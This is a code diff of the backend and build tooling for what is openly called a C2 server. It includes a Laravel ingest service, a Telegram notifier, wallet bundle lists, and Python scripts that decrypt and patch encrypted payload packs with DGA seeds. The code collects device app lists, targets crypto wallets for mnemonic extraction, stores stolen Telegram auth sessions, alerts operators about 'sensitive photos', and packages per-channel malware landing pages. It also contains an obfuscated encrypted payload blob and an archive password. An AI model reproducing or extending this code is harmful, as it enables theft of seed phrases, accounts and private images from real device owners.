private function fillMissingAttribution(
|
||||
Device $device,
|
||||
Request $request,
|
||||
?array $payload,
|
||||
bool $allowOldC,
|
||||
): void {
|
||||
$needChannel = $this->channelIdEmpty($device->channel_id);
|
||||
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
|
||||
if (! $needChannel && ! $needDomain) {
|
||||
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$touch = ['updated_at' => now()];
|
||||
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
|
||||
$touch['channel_id'] = $attr['channel_id'];
|
||||
}
|
||||
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
|
||||
$touch['source_domain'] = $attr['source_domain'];
|
||||
}
|
||||
$device->forceFill($touch)->saveQuietly();
|
||||
}
|
||||
|
||||
/**
|
||||
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
|
||||
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
|
||||
* attribute via recent PageVisit IP. Device is still created if no visit matches.
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
|
||||
{
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
return $this->matchNewBuilderVisit($request->ip());
|
||||
}
|
||||
if ($allowOldC) {
|
||||
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function isNewBuilderRequest(Request $request): bool
|
||||
{
|
||||
return (bool) $request->attributes->get('coruna_new_builder', false);
|
||||
}
|
||||
|
||||
/**
|
||||
* Latest iptj/pixel visit from this IP in the last N minutes whose
|
||||
* channel_id is a new-builder channel, and no device from this IP has
|
||||
* already claimed that channel.
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function matchNewBuilderVisit(?string $ip): array
|
||||
{
|
||||
$ip = is_string($ip) ? trim($ip) : '';
|
||||
if ($ip === '') {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
|
||||
$visits = PageVisit::query()
|
||||
->where('ip', $ip)
|
||||
->where('created_at', '>=', now()->subMinutes($minutes))
|
||||
->orderByDesc('id')
|
||||
->get();
|
||||
|
||||
foreach ($visits as $visit) {
|
||||
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
|
||||
if ($code === null) {
|
||||
continue;
|
||||
}
|
||||
$channel = Channel::query()
|
||||
->where('channel_id', $code)
|
||||
->where('builder_type', Channel::BUILDER_NEW)
|
||||
->first();
|
||||
if ($channel === null) {
|
||||
continue;
|
||||
}
|
||||
$claimed = Device::query()
|
||||
->where('ip', $ip)
|
||||
->where('channel_id', $code)
|
||||
->exists();
|
||||
if ($claimed) {
|
||||
continue;
|
||||
}
|
||||
$domain = $this->sourceDomainFromVisit($visit);
|
||||
|
||||
return ['channel_id' => $code, 'source_domain' => $domain];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function sourceDomainFromVisit(PageVisit $visit): ?string
|
||||
{
|
||||
return PageVisit::normalizeDomain($visit->domain);
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
|
||||
{
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
'ip' => $request->ip(),
|
||||
'device_model' => $this->extractDeviceModel($payload),
|
||||
'ios_version' => $this->extractIosVersion($payload),
|
||||
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
|
||||
'channel_id' => $attr['channel_id'],
|
||||
'source_domain' => $attr['source_domain'],
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
@@ -239,7 +346,6 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
@@ -250,18 +356,45 @@ class IngestService
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'is_wallet' => WalletSource::isPluginWalletBundle($bundle),
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
$this->refreshDeviceWalletFlag($device);
|
||||
}
|
||||
|
||||
/**
|
||||
* has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present.
|
||||
*/
|
||||
private function refreshDeviceWalletFlag(Device $device): void
|
||||
{
|
||||
$names = [];
|
||||
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
|
||||
$bundle = (string) $app->bundle_id;
|
||||
if (! WalletSource::isPluginWalletBundle($bundle)) {
|
||||
continue;
|
||||
}
|
||||
$label = WalletSource::labelForBundle($bundle, $app->name);
|
||||
$names[$label] = true;
|
||||
}
|
||||
$labels = array_keys($names);
|
||||
sort($labels);
|
||||
|
||||
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
|
||||
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
|
||||
$device->wallet_names = $labels === [] ? null : $labels;
|
||||
$device->save();
|
||||
|
||||
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {
|
||||
$this->telegram->notifyInstalledWallets($device->device_id, $labels);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -353,6 +486,37 @@ class IngestService
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
|
||||
* Lab has no dedicated table; store as a keystore identity blob.
|
||||
*/
|
||||
public function ingestTelegramAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
if (array_key_exists('result', $payload)) {
|
||||
$this->ingestKeystore($device, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$blob = [];
|
||||
foreach ([
|
||||
'user_id', 'state', 'db_sqlite',
|
||||
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
|
||||
] as $key) {
|
||||
if (array_key_exists($key, $payload)) {
|
||||
$blob[$key] = $payload[$key];
|
||||
}
|
||||
}
|
||||
if ($blob === []) {
|
||||
return;
|
||||
}
|
||||
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
|
||||
$this->ingestKeystore($device, ['result' => $blob]);
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
|
||||
*/
|
||||
@@ -507,6 +671,7 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$stored = 0;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
@@ -530,6 +695,12 @@ class IngestService
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
$stored++;
|
||||
}
|
||||
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
|
||||
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -128,6 +128,23 @@ class TelegramNotifier
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $wallets
|
||||
*/
|
||||
public function notifyInstalledWallets(string $deviceId, array $wallets): void
|
||||
{
|
||||
$wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== ''));
|
||||
if ($wallets === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->send(implode("\n", [
|
||||
'👜 <b>Installed Wallets</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
@@ -138,6 +155,16 @@ class TelegramNotifier
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>Sensitive Photo</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
string $deviceId,
|
||||
string $address,
|
||||
|
||||
@@ -28,11 +28,62 @@ final class WalletSource
|
||||
'h' => 'Uniswap',
|
||||
'h1' => 'Uniswap',
|
||||
't' => 'OKX',
|
||||
'c' => 'TronLink',
|
||||
'f' => 'BitKeep',
|
||||
's' => 'Solflare',
|
||||
'tg' => 'Telegram',
|
||||
// lab / fixture aliases
|
||||
'tp' => 'TokenPocket',
|
||||
'im' => 'imToken',
|
||||
];
|
||||
|
||||
/**
|
||||
* Display names for plugin wallet bundle IDs (mnemonic-capable).
|
||||
*
|
||||
* @var array<string, string>
|
||||
*/
|
||||
private const BUNDLE_LABELS = [
|
||||
'im.token.app' => 'imToken',
|
||||
'io.metamask' => 'MetaMask',
|
||||
'io.metamask.MetaMask' => 'MetaMask',
|
||||
'com.wallet.crypto.trustapp' => 'Trust Wallet',
|
||||
'com.sixdays.trust' => 'Trust Wallet',
|
||||
'com.okex.wallet' => 'OKX',
|
||||
'com.okex.OKExAppstoreFull' => 'OKX',
|
||||
'com.coinbase.wallet' => 'Coinbase Wallet',
|
||||
'org.toshi.distribution' => 'Coinbase Wallet',
|
||||
'com.exodus' => 'Exodus',
|
||||
'exodus-movement.exodus' => 'Exodus',
|
||||
'app.phantom' => 'Phantom',
|
||||
'com.uniswap.mobile' => 'Uniswap',
|
||||
'com.tronlinkpro.wallet' => 'TronLink',
|
||||
'com.tronlink.hdwallet' => 'TronLink',
|
||||
'com.mytonwallet.app' => 'MyTonWallet',
|
||||
'org.mytonwallet.app' => 'MyTonWallet',
|
||||
'com.tonhub.app' => 'Tonhub',
|
||||
'com.tonkeeper.app' => 'Tonkeeper',
|
||||
'com.jbig.tonkeeper' => 'Tonkeeper',
|
||||
'vip.mytokenpocket' => 'TokenPocket',
|
||||
'com.bitkeep.wallet' => 'BitKeep',
|
||||
'com.bitkeep.os' => 'BitKeep',
|
||||
'com.bitpie' => 'Bitpie',
|
||||
'com.bitpie.wallet' => 'Bitpie',
|
||||
'com.coin98' => 'Coin98',
|
||||
'coin98.crypto.finance.insights' => 'Coin98',
|
||||
'com.solflare.mobile' => 'Solflare',
|
||||
'com.roninchain.wallet' => 'Ronin',
|
||||
'com.skymavis.Genesis' => 'Ronin',
|
||||
'com.krystal.wallet' => 'Krystal',
|
||||
'com.kyrd.krystal.ios' => 'Krystal',
|
||||
'com.global.wallet.ios' => 'Global Wallet',
|
||||
];
|
||||
|
||||
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
|
||||
private const NON_MNEMONIC_BUNDLES = [
|
||||
'ph.telegra.Telegraph',
|
||||
'net.whatsapp.WhatsApp',
|
||||
];
|
||||
|
||||
public static function fromTag(mixed $tag): string
|
||||
{
|
||||
if (! is_string($tag) || $tag === '') {
|
||||
@@ -43,6 +94,36 @@ final class WalletSource
|
||||
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
|
||||
}
|
||||
|
||||
/**
|
||||
* True when this bundle is a business plugin that can extract a mnemonic.
|
||||
*/
|
||||
public static function isPluginWalletBundle(string $bundle): bool
|
||||
{
|
||||
$bundle = trim($bundle);
|
||||
if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) {
|
||||
return false;
|
||||
}
|
||||
if (isset(self::BUNDLE_LABELS[$bundle])) {
|
||||
return true;
|
||||
}
|
||||
|
||||
$configured = config('coruna.wallet_bundles', []);
|
||||
|
||||
return is_array($configured) && in_array($bundle, $configured, true)
|
||||
&& ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true);
|
||||
}
|
||||
|
||||
public static function labelForBundle(string $bundle, ?string $fallback = null): string
|
||||
{
|
||||
$bundle = trim($bundle);
|
||||
if (isset(self::BUNDLE_LABELS[$bundle])) {
|
||||
return self::BUNDLE_LABELS[$bundle];
|
||||
}
|
||||
$fallback = trim((string) $fallback);
|
||||
|
||||
return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown');
|
||||
}
|
||||
|
||||
/**
|
||||
* Chains we persist from C2 ingest (skip UNKNOWN / niche networks).
|
||||
*
|
||||
|
||||
@@ -42,6 +42,16 @@ class ChannelCommand
|
||||
$lines[] = ($i + 1).'. '.$channel->channel_id;
|
||||
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
|
||||
|
||||
if ($channel->isNewBuilder()) {
|
||||
$btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : $channel->channel_id).' · 渠道码';
|
||||
$markup->addRow(InlineKeyboardButton::make(
|
||||
text: $btnText,
|
||||
copy_text: CopyTextButton::make($channel->channel_id),
|
||||
));
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$links = $channel->supportLinks();
|
||||
$link = $links[0] ?? $channel->landingPath();
|
||||
if (strlen($link) > 256) {
|
||||
|
||||
@@ -50,6 +50,8 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
'event',
|
||||
'a',
|
||||
'u',
|
||||
't',
|
||||
'nb',
|
||||
'uj',
|
||||
'us',
|
||||
'ub',
|
||||
|
||||
@@ -1,46 +1,73 @@
|
||||
# channel-builder-new
|
||||
|
||||
xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/`
|
||||
xxbb / weifile builder for coruna-lab. Separate from `channel-builder/`
|
||||
(lab `web/` + `sync/` layout).
|
||||
|
||||
Applies **shared** artifacts:
|
||||
`c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do
|
||||
not change, so `c` cannot tell channels apart. Per-channel identity is the
|
||||
8-char landing code (e.g. `FAFA9988`) packed into `index.js`.
|
||||
|
||||
- `/weifile/weifile.html` (+ stages / patched secondary `.min.js`)
|
||||
- `/details/` (`show.html` + patched `corepayload.js` + plugins)
|
||||
|
||||
This pass patches:
|
||||
|
||||
1. **weifile secondary type-0x01** — DGA seeds + reporting field `c`
|
||||
2. **details/corepayload** — all `c` slots (DGA + `/event` field), then rewrites
|
||||
`show.html` core `sha256` / `size`
|
||||
## 1. Build once (shared artifacts)
|
||||
|
||||
```bash
|
||||
cd channel-builder-new
|
||||
python3 -m venv .venv
|
||||
.venv/bin/pip install -r requirements.txt
|
||||
|
||||
.venv/bin/python tools/build.py \
|
||||
--channel-c <32-hex> \
|
||||
--apply --force
|
||||
# specified c
|
||||
.venv/bin/python tools/build.py --channel-c <32-hex> --apply --force
|
||||
|
||||
# or random c
|
||||
.venv/bin/python tools/build.py --random-c --apply --force
|
||||
|
||||
# or from Laravel (uses XXBB_CHANNEL_C when set)
|
||||
php artisan xxbb:build
|
||||
php artisan xxbb:build --random-c
|
||||
php artisan xxbb:build --channel-c=<32-hex>
|
||||
```
|
||||
|
||||
Writes `{artifact-root}/weifile/` and `{artifact-root}/details/` (default
|
||||
`../public`).
|
||||
Writes:
|
||||
|
||||
DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse
|
||||
`storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run.
|
||||
First generate writes one random seed and copies it to both deployment and
|
||||
reporting (same as `channel-builder`). CLI pair must also match. Domain list is
|
||||
`DGA(channel_c)` (native pools use `c`, not the dep/rep C-strings).
|
||||
- `{artifact-root}/details/` (default `../public/details`) — **published**
|
||||
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public**
|
||||
|
||||
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**.
|
||||
`CACACACA` is left in place for per-channel packing.
|
||||
|
||||
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env` so
|
||||
device ingest can recognize the shared native field.
|
||||
|
||||
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`.
|
||||
|
||||
## 2. Pack on channel create
|
||||
|
||||
Admin create (8-char id) runs `tools/pack_channel.py`:
|
||||
|
||||
1. Copy staged weifile
|
||||
2. Replace `CACACACA` in `index.js` with the channel id
|
||||
3. Zip to `public/channel-source-new/{CHANNELID}.zip`
|
||||
|
||||
```bash
|
||||
.venv/bin/python tools/pack_channel.py \
|
||||
--channel-code FAFA9988 \
|
||||
--zip-out ../public/channel-source-new/FAFA9988.zip
|
||||
```
|
||||
|
||||
If staged weifile is missing: run step 1 first (`php artisan xxbb:build`).
|
||||
|
||||
Delete a new channel removes that zip only (shared `/details` stays).
|
||||
|
||||
## Device attribution
|
||||
|
||||
- **Old channels:** payload `c` is the 32-hex `channel_id`
|
||||
- **New channels:** payload `c` is the shared seed. On device create, match
|
||||
`PageVisit` by IP in the last 30 minutes (`XXBB_VISIT_MATCH_MINUTES`). Use
|
||||
that visit’s `channelCode` as `channel_id`, and store the landing domain on
|
||||
`devices.source_domain`.
|
||||
|
||||
| Flag | What it replaces | Where |
|
||||
|------|------------------|--------|
|
||||
| `--deployment-seed` | DGA seed slot | secondary dylibs (1 hit each) |
|
||||
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
|
||||
| `--channel-c` | Native report / DGA `c` (`202700cf…`) | secondary (1) + corepayload (6) |
|
||||
| `--scheme` | Native DGA/C2 URL scheme | secondary dylibs (default `https`) |
|
||||
|
||||
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`
|
||||
(one nibble off original `c`). Details modules still decrypt with that password.
|
||||
|
||||
`index.js` iptj URL / `channelCode` are not patched here.
|
||||
| `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) |
|
||||
| `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains |
|
||||
|
||||
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
|
||||
window["qbrdr"]("bxfeZl2xvYC6gX6EmDhACuA6itGK9GGx2UiuruNtIRcV0p3s84ugiS9OQtk8L0SN8G0+dho5Gn9BsNXNRhlv4GFFNbl7KzWh62+TdHObjr8s0nQ8dc/7Wq8kakweptmSavpcri/SiW7fO3C4SMqWyfvNxZ2EzHnFQcDoOTJXvFowSTwaRaz4lEgNigCkYg7lZ9ij3uFJ026KMblXuLEn2flUx2I4AL0XZ75FEnlRdVOl8nAAhFqdcTdewjmyhkUruXyqWzw5I4HidHxtzPPmmAmR6wH5ggI5lPsxDgatQt5dtUVjj6dJTyLwY41mfVX4jLXnrhWw8UdOFqOuY5G9PlbyEMKO0klyU+e3E7YRYDvJrBsUWQs/JEOCt1Gj0Dx/RHrflrEPj/WUkEhpDfXvCI08i1e6Kb/h7EZYL6a2fiVWfjW40YTfRANypoExO/3ZokYpn6HgeIXOuzxY5WvuH48IA3gfgsOE0qqFbhqTy0ZoESzqeQFgoK9uX+8t+OFv0RZqbCjL5/tYJRoKHKvqIDTAzKZ3Vk6EwJMsFhkOyo8Dkao7x+zrEV7/SuNjzBX2KFUwACvtBOKc3+EqvcMZ1gFh9DSH6yodOBJEFW5G/H7c7g7Yd5d4WLdeFDYGlfvK2H1E/TEgYv7WSF/UxV35xf5C7o7J4Qt6IcR3gp8U/KfLuVo5MEzH2rW6mj0GT+fYwHoDzYrO9xmp407ewYyLwGBT5Wke3453Z/cTBW8mqYfCUPywUQQdT4tGUcqzpWbvySeDzYOT+sbJN/8w3IqkOgYBzQ722SJd6xa1zHGKCcRGs8xpArMTGz6VnnhTlYMXw+YE0xgi00Gel3+8Rw3BLOswZzD2T6R7KA+5EiM6nvnJvxRgSLNQoZbemdlZFaeJv+3aU+6XAMfWG+j6rSE1SntaX+DxWgIelb6cuH0dE3ZChHM6JgLXOhe+WavOAfqLShRFLpP0zKmO4cvDNCnvUxGc0O8f8fXdFryzvKxZ054zwo+2TGYuKE+2//CY0jCIHO9xXvWPZADdPEm7dchpQ5iYySar8Oyz/2lUnomirCbzwucBC97rPsKMfM1JvbKAScKHn/ekil2b5aXgEImu7jb40lDz5GU2nYFYLMBPOxpYxpBtwnlKOsS4UfF24oHd8K64FaXuQzLCIiuTGnjybTk7ybYQpoygrnpWe4r9r4FmW2grw/P8pMegqP4SL0swwU0IUAInSSG4+T6Ak3u3uUZumvD/Z2mGA4rJFzIZ+UZlB+baZ+rcOv48A0h7n5D4XlXAMPGrhcEw3EmTwR7IYRZIUHXEI5dZsTKm6tY5935OtHP7lzZo2fNzFehEjsCdULQ7yRb3Ggh2DJl9KMZh6DhArhcudxSudd0qF/XStbQeuBFr3jpSYTeoraLuiqMGs70CDhy+e4k3/T9yWCULrfGV4aa0XKpmvmfkI+wJOXlyPSdlFnejJrbKf7ZUN6+CPdW1jsfQXoV626CIOROm8klSsqxU8FtrDw1kpR+bdEFQ/eXDUhd1Tqk6uevdP5pIcEkxuefBmSzABe9j4XvrjIB1ZQgn0sMIwFUCLynTTxfcOdxVc645ZM+Ljop14IsiGXX6Dbqk1BKUnG2DkXz9+0Qe7btzue1VQSub685/c89zZKr6lEvnBjaG8wqjl5vJd90my7jhqPdD5aLuvPl3SRtbYLzGSgHIpWn8iu4X8IqWN+tsjg17QBcR3Y4xTKwhqxyxjD/VEBgwt7KCid6/L+qtec4+npBl")
|
||||
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
@@ -1,14 +0,0 @@
|
||||
[
|
||||
{
|
||||
"hash": "57620206d62079baad0e57e6d9ec93120c0f5247",
|
||||
"size": 8309,
|
||||
"sha256": "10c37b315a0e476e8f4a47352a7ab995cdce695c53f1586c1420301c4effdeb1",
|
||||
"head": "let r={};function i(t){return window.BigInt?BigInt(t):t}r.U=i;const u=i(549755813887),o=(896953977 ^"
|
||||
},
|
||||
{
|
||||
"hash": "14669ca3b1519ba2a8f40be287f646d4d7593eb0",
|
||||
"size": 12475,
|
||||
"sha256": "561f8c272cd40bd4750894e8d2db825928b173bdb53cd828e5a4bf72f940f581",
|
||||
"head": "let r={};const x=globalThis.obChTK.hPL3On(([118, 116, 117, 113, 115, 113, 115, 117, 39, 117, 113, 11"
|
||||
}
|
||||
]
|
||||
@@ -1,4 +1,3 @@
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|
||||
@@ -6,8 +5,6 @@
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<title>weifile</title>
|
||||
<script>window.__CORUNA_CHANNEL__="__CHANNEL_C__";</script>
|
||||
<script src="/t.js" defer></script>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript" src="index.js"></script>
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
"""Discover type-0x01 secondary stems/keys from helper + primary type-0x07."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import re
|
||||
import struct
|
||||
from pathlib import Path
|
||||
|
||||
from _secondary_pack import F00D_MAGIC, chacha_crypt, decrypt_secondary_minjs, unwrap_xz
|
||||
|
||||
NAME_RE = re.compile(rb"([0-9a-f]{40}\.min\.js)")
|
||||
DEFAULT_HELPER_STEM = "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb"
|
||||
|
||||
|
||||
def parse_f00d_entries(data: bytes) -> list[dict]:
|
||||
magic, count = struct.unpack_from("<II", data, 0)
|
||||
if magic != F00D_MAGIC:
|
||||
raise ValueError("not F00DBEEF")
|
||||
if not 1 <= count <= 16:
|
||||
raise ValueError(f"unexpected F00DBEEF entry count {count}")
|
||||
entries = []
|
||||
for i in range(count):
|
||||
typ, flags, offset, size = struct.unpack_from("<4I", data, 8 + i * 16)
|
||||
payload = data[offset : offset + size]
|
||||
if len(payload) != size:
|
||||
raise ValueError("truncated F00DBEEF payload")
|
||||
entries.append(
|
||||
{
|
||||
"type": (typ >> 16) & 0xFFFF,
|
||||
"type_raw": typ,
|
||||
"flags": flags,
|
||||
"offset": offset,
|
||||
"size": size,
|
||||
"payload": payload,
|
||||
}
|
||||
)
|
||||
return entries
|
||||
|
||||
|
||||
def parse_07_slots(payload: bytes) -> list[dict]:
|
||||
"""type-0x07 records: 32-byte ChaCha key immediately before `{40hex}.min.js`."""
|
||||
slots = []
|
||||
for match in NAME_RE.finditer(payload):
|
||||
name = match.group(1).decode("ascii")
|
||||
start = match.start()
|
||||
if start < 32:
|
||||
continue
|
||||
key = payload[start - 32 : start]
|
||||
slots.append({"stem": name[:-7], "file": name, "key": key.hex()})
|
||||
return slots
|
||||
|
||||
|
||||
def decrypt_pack(blob: bytes, key: bytes) -> bytes:
|
||||
return unwrap_xz(chacha_crypt(blob, key))
|
||||
|
||||
|
||||
def discover_secondary_stems(
|
||||
weifile: Path,
|
||||
helper_key: bytes,
|
||||
helper_stem: str = DEFAULT_HELPER_STEM,
|
||||
) -> dict[str, dict]:
|
||||
"""Return stem -> {key, size, sha256} for every type-0x01 pointed at by primaries."""
|
||||
helper_path = weifile / f"{helper_stem}.min.js"
|
||||
if not helper_path.is_file():
|
||||
raise FileNotFoundError(f"missing helper pack: {helper_path}")
|
||||
helper_plain = decrypt_pack(helper_path.read_bytes(), helper_key)
|
||||
primary_slots = []
|
||||
for entry in parse_f00d_entries(helper_plain):
|
||||
if entry["type"] == 7:
|
||||
primary_slots.extend(parse_07_slots(entry["payload"]))
|
||||
if not primary_slots:
|
||||
raise ValueError("helper type-0x07 had no primary slots")
|
||||
|
||||
stems: dict[str, dict] = {}
|
||||
for slot in primary_slots:
|
||||
primary_path = weifile / slot["file"]
|
||||
if not primary_path.is_file():
|
||||
raise FileNotFoundError(f"missing primary pack: {primary_path}")
|
||||
primary_plain = decrypt_pack(primary_path.read_bytes(), bytes.fromhex(slot["key"]))
|
||||
for entry in parse_f00d_entries(primary_plain):
|
||||
if entry["type"] != 7:
|
||||
continue
|
||||
for secondary in parse_07_slots(entry["payload"]):
|
||||
stem = secondary["stem"]
|
||||
path = weifile / secondary["file"]
|
||||
if not path.is_file():
|
||||
raise FileNotFoundError(f"missing secondary pack: {path}")
|
||||
dylib = decrypt_secondary_minjs(path.read_bytes(), bytes.fromhex(secondary["key"]))
|
||||
digest = hashlib.sha256(dylib).hexdigest()
|
||||
prev = stems.get(stem)
|
||||
if prev and prev["key"] != secondary["key"]:
|
||||
raise ValueError(f"conflicting keys for {stem}")
|
||||
stems[stem] = {
|
||||
"key": secondary["key"],
|
||||
"size": len(dylib),
|
||||
"sha256": digest,
|
||||
"dylib": dylib,
|
||||
}
|
||||
if not stems:
|
||||
raise ValueError("no type-0x01 secondaries discovered")
|
||||
return stems
|
||||
|
||||
|
||||
def group_by_dylib_hash(stems: dict[str, dict]) -> dict[str, bytes]:
|
||||
"""Unique plaintext dylibs keyed by sha256."""
|
||||
groups: dict[str, bytes] = {}
|
||||
for info in stems.values():
|
||||
digest = info["sha256"]
|
||||
if digest not in groups:
|
||||
groups[digest] = info["dylib"]
|
||||
elif groups[digest] != info["dylib"]:
|
||||
raise ValueError(f"dylib hash collision for {digest}")
|
||||
return groups
|
||||
+117
-117
@@ -1,14 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
|
||||
"""Patch xxbb secondary packs + corepayload `c`, apply shared details + staged weifile.
|
||||
|
||||
Artifact layout (shared, not per-channel folders):
|
||||
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
|
||||
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
|
||||
`c` is a shared DGA seed (env XXBB_CHANNEL_C), not a per-channel id.
|
||||
|
||||
Artifact layout:
|
||||
{artifact-root}/details/ served landing /details/
|
||||
{state-root}/out/weifile/ staged weifile (not published; pack_channel.py zips it)
|
||||
|
||||
Seed resolution (same idea as channel-builder/tools/new_project.py):
|
||||
1. both --deployment-seed and --reporting-seed
|
||||
2. else {state-root}/lab_seeds.json
|
||||
3. else random generate + write lab_seeds.json
|
||||
|
||||
Channel `c`: --channel-c, else --random-c, else lab_seeds.json, else random.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
